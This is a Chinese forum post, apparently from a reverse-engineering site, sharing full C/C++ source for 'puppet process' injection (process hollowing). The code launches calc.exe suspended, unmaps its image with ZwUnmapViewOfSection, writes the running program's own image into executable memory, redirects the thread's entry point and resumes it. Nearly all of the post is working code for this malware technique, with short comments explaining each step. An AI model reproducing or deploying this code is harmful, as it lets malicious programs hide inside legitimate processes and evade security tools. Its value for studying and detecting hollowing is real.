关于单EXE注入傀儡进程的源代码有不少,这代码也是参考了外面的傀儡进程源码,
不能算是原创,不过至少自己重新写了一遍理解了很多,分享给需要的朋友吧。
傀儡进程注入需要熟悉PE结构,当然这代码算是很挫的了,至少他还是有价值的
在04年有一个PE注入的代码,不过里面的结构体都是作者自己封装的 不利于理解
这个我加了中文注释,熟悉PE结构的朋友很容易就看明白了,不知道能否申请一个邀请码。
先上h文件
#define dosHdrlen sizeof(IMAGE_DOS_HEADER)
#define ntHdrslen sizeof(IMAGE_NT_HEADERS)
#define fileHdrlen sizeof(IMAGE_FILE_HEADER)
#define optionHdrlen sizeof(IMAGE_OPTIONAL_HEADER)
#define sectionHdrlen sizeof(IMAGE_SECTION_HEADER)
#define INJECTEXEFILE _T("c:\\windows\\system32\\calc.exe")
typedef struct _PROCE_INFO
{
unsigned long ulBaseAddr;
unsigned long ulImageSize;
}PROCEINFO, *PPROCEINFO;
int InjectEXE();
int calctotalImageSize(HANDLE hModule, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);
bool doInject(int Imagesize, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool CreateInjectEXE(PPROCEINFO proceInfo, PCONTEXT threadCxt, PPROCESS_INFORMATION pi);
bool unloadMemImage(HANDLE hProcess, unsigned long ulBaseAddr);
cpp文件
int InjectEXE()
{
TCHAR tzFileName[MAX_PATH];
GetModuleFileName(NULL, tzFileName, MAX_PATH);
if (_tcsstr(tzFileName, _T("calc.exe")) != NULL)
{ // 判断是否在傀儡进程内
OutputDebugString(tzFileName);
return 0;
}
else
{
IMAGE_DOS_HEADER dosHdr;
IMAGE_FILE_HEADER fileHdr;
IMAGE_OPTIONAL_HEADER optionHdr;
PIMAGE_SECTION_HEADER sectionHdr;
// 获取加载基址
HANDLE hModuleBase = GetModuleHandle(NULL);
// 计算镜像大小,其实可以直接读取PE结构里面的镜像大小
// 但如果你自己写LOAD的话 就需要去对齐了
ULONG ImageSize = calctotalImageSize(hModuleBase, &dosHdr, &fileHdr, &optionHdr, §ionHdr);
printf("ImageBase 0x%08x\n", optionHdr.ImageBase);
printf("SizeOfImage %d\n", ImageSize);
printf("EntryPoint 0x%08x\n", optionHdr.AddressOfEntryPoint);
putchar('\n');
if(doInject(ImageSize, &fileHdr, &optionHdr, sectionHdr))
return 1;
}
return 1;
}
int calctotalImageSize(HANDLE hModule, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
{
// 拷贝数据到DOS结构
memcpy(dosHdr, (void*)hModule, dosHdrlen);
if (dosHdr->e_magic != 0x5a4d)
{
printf("the file not MZ signature.\n");
return false;
}
// 指针指向真正的PE结构
unsigned long offset = (unsigned long)hModule + dosHdr->e_lfanew + sizeof(long);
// 拷贝FILE结构
memcpy(fileHdr, (void*)offset, fileHdrlen);
if (fileHdr->NumberOfSections < 2 ||
fileHdr->SizeOfOptionalHeader != optionHdrlen)
{
return false;
}
// 拷贝OPTIONAL结构
offset += fileHdrlen;
memcpy(optionHdr, (void*)offset, optionHdrlen);
// 读取PE区段表数据
offset += optionHdrlen;
unsigned short numberofsection = fileHdr->NumberOfSections;
*sectionHdr = new IMAGE_SECTION_HEADER[numberofsection];
memset(*sectionHdr, 0, numberofsection * sectionHdrlen);
memcpy(*sectionHdr, (void*)offset, numberofsection * sectionHdrlen);
// 获取内存对齐值
unsigned long nRetval = 0;
unsigned long alignment = optionHdr->SectionAlignment;
// 模除取余 如果不够4096 则向上保持内存页对齐
if (optionHdr->SizeOfHeaders % alignment == 0)
nRetval += optionHdr->SizeOfHeaders;
else
{
int val = optionHdr->SizeOfHeaders / alignment;
val ++;
nRetval += (val * alignment);
}
// for循环对齐区段表在内存中所占的大小
PIMAGE_SECTION_HEADER sectiontemp = *sectionHdr;
for (short i = 0; i < numberofsection; i++)
{
if (sectiontemp[i].Misc.VirtualSize)
{
if (sectiontemp[i].Misc.VirtualSize % alignment == 0)
nRetval += sectiontemp[i].Misc.VirtualSize;
else
{
int val = sectiontemp[i].Misc.VirtualSize / alignment;
val ++;
nRetval += (val * alignment);
}
}
}
return nRetval;
}
bool doInject(int Imagesize, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
CONTEXT threadCxt;
PROCEINFO proceInfo;
PROCESS_INFORMATION pi;
if (CreateInjectEXE(&proceInfo, &threadCxt, &pi))
{
printf("puppet process id %d Size %d\n", pi.dwProcessId, proceInfo.ulImageSize);
printf("puppet process imagebase 0x%08x\n", proceInfo.ulBaseAddr);
putchar('\n');
void *lptrloc = (void *)NULL;
// 如果自身基址与傀儡进程相同
// 并且自身镜像大小小于傀儡进程镜像大小
// 则把这块内存设置可读可写属性
if (optionHdr->ImageBase == proceInfo.ulBaseAddr && Imagesize <= (int)proceInfo.ulImageSize)
{
lptrloc = (void *)proceInfo.ulBaseAddr;
VirtualProtectEx(pi.hProcess, (void *)proceInfo.ulBaseAddr, Imagesize, PAGE_EXECUTE_READWRITE, NULL);
}
else
{
// 卸载内存空间数据
if (unloadMemImage(pi.hProcess, proceInfo.ulBaseAddr))
{ // 重新申请自身镜像大小的内存空间
lptrloc = VirtualAllocEx(pi.hProcess, (void *)optionHdr->ImageBase, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lptrloc)
{
printf("lptrloc new address 0x%08x\n", lptrloc);
}
}
}
if (!lptrloc)
{
lptrloc = VirtualAllocEx(pi.hProcess, (void *)NULL, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
unsigned long ulWritten;
unsigned long *ulPebInfo = (unsigned long *)threadCxt.Ebx; // 取lptrloc在内存的地址
int nRetval = WriteProcessMemory(pi.hProcess, &ulPebInfo[2], &lptrloc, sizeof(void *), &ulWritten);
// 自身的数据写入到傀儡进程中
if (nRetval && WriteProcessMemory(pi.hProcess, lptrloc, (void *)optionHdr->ImageBase, Imagesize, &ulWritten))
{
threadCxt.ContextFlags = CONTEXT_FULL;
if ((unsigned long)lptrloc == proceInfo.ulBaseAddr)
{
threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
}
else
threadCxt.Eax = (unsigned long)lptrloc + optionHdr->AddressOfEntryPoint;
printf("fix threadCxt.Eax 0x%08x\n", threadCxt.Eax);
putchar('\n');
SetThreadContext(pi.hThread, &threadCxt);
ResumeThread(pi.hThread);
}
}
return true;
}
bool CreateInjectEXE(PPROCEINFO proceInfo, PCONTEXT threadCxt, PPROCESS_INFORMATION pi)
{
STARTUPINFO si = {0};
si.cb = sizeof(si);
// 创建挂起进程
if (CreateProcess(INJECTEXEFILE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
// 获取傀儡进程 主线程上下文
threadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, threadCxt);
// 获取傀儡进程基址
unsigned long ulBytes;
unsigned long *ulPebInfo = (unsigned long*)threadCxt->Ebx;
ReadProcessMemory(pi->hProcess, &ulPebInfo[2], (void*)&(proceInfo->ulBaseAddr), sizeof(long), &ulBytes);
MEMORY_BASIC_INFORMATION memInfo;
memset(&memInfo, 0, sizeof(memInfo));
// 计算傀儡进程所占用的镜像大小
unsigned long ulmemAddr = proceInfo->ulBaseAddr;
while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
{
if (memInfo.State == MEM_FREE)
break;
ulmemAddr += memInfo.RegionSize;
}
proceInfo->ulImageSize = ulmemAddr - proceInfo->ulBaseAddr;
return true;
}
return false;
}
bool unloadMemImage(HANDLE hProcess, unsigned long ulBaseAddr)
{
typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
HMODULE hInst = LoadLibrary(_T("ntdll.dll"));
if (hInst)
{
ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");
if (ZwUnmapViewOfSection(hProcess, (void*)ulBaseAddr) == 0)
{
FreeLibrary(hInst);
return true;
}
}
return false;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)